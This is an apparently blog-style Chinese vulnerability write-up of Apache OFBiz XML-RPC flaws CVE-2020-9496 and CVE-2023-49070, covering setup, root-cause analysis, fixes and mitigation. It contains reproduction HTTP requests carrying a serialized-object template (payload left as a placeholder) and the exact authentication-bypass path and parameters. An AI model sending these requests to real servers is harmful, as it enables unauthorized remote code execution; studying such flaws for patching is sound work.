CVE-2023-49070&&CVE-2020-9496 OFBIZ XML-RPC漏洞分析
字数 1627 2025-08-19 12:40:43
Apache OFBiz XML-RPC漏洞分析(CVE-2023-49070 & CVE-2020-9496)
1. CVE-2020-9496漏洞分析
1.1 漏洞概述
Apache OFBiz未授权远程代码执行漏洞,影响版本:Apache OFBiz < 17.12.04
1.2 环境搭建
- 下载受影响版本(17.12.03):https://downloads.apache.org/ofbiz/
- 配置并编译项目
- 运行org.apache.ofbiz.base.start.Start启动服务
- 访问https://localhost:8443/accounting
1.3 漏洞复现
发送以下恶意XML请求:
POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 181
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
[base64编码的恶意payload]
</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
注意:直接使用原始base64编码,不要进行URL编码
1.4 XML-RPC消息格式分析
标准XML-RPC请求包含:
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>examples.getStateName</methodName>
<params>
<param>
<value>
<i4>41</i4>
</value>
</param>
</params>
</methodCall>
常见数据类型:
- array:
<value><array><data><value><int>7</int></value></data></array></value> - struct:
<struct>
<member>
<name>foo</name>
<value>bar</value>
</member>
</struct>
1.5 漏洞原理分析
-
路由处理:
- 配置在
webtools/webapp/webtools/WEB-INF/web.xml - 通过
RequestHandler处理请求,读取controller.xml配置 - 最终调用
runEvent函数处理请求
- 配置在
-
XML解析过程:
- 使用
XMLReader解析POST数据,XmlRpcRequestParser作为解析器 - 当遇到
serializable标签且xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"时,返回SerializableParser对象 SerializableParser创建base64解码器并解码数据- 在
MapParser的endValueTag中调用getResult触发反序列化
- 使用
-
为什么使用struct标签:
- struct能将数据作为结构体传入
- 只有使用struct才能在
MapParser中调用getResult触发反序列化
1.6 漏洞修复
- 在
controller.xml中为/webtools/control/xmlrpc路由添加鉴权 - 在
CacheFilter中增加对serializable标签的检查
2. CVE-2023-49070漏洞分析
2.1 漏洞概述
CVE-2020-9496的绕过漏洞,影响版本:Apache OFBiz < 18.12.10
2.2 漏洞复现
POST /webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 181
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
[base64编码的恶意payload]
</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
2.3 漏洞原理分析
-
权限绕过机制:
- 在
LoginWorker的checkLogin方法中,有三个条件:if (username == null || (password == null && token == null) || "error".equals(login(request, response))) - 当
requirePasswordChange=Y时,login方法返回requirePasswordChange而非"error" - 从而绕过鉴权检查
- 在
-
CacheFilter绕过:
- 通过添加
/;/绕过CacheFilter对</serializable的检查
- 通过添加
3. 总结与防护建议
3.1 漏洞链分析
- CVE-2020-9496:未授权XML-RPC反序列化漏洞
- CVE-2023-49070:通过特殊参数和路径绕过鉴权机制
3.2 防护措施
- 升级到最新版本(≥18.12.10)
- 禁用不必要的XML-RPC接口
- 加强输入验证,特别是对XML数据的解析
- 实施严格的权限控制
3.3 参考链接
- https://mp.weixin.qq.com/s/vGgZxoKSMoiw98z63UuOpw
- https://xz.aliyun.com/t/8184/
- https://xz.aliyun.com/t/8324
- https://www.oscs1024.com/hd/MPS-ope5-i4zj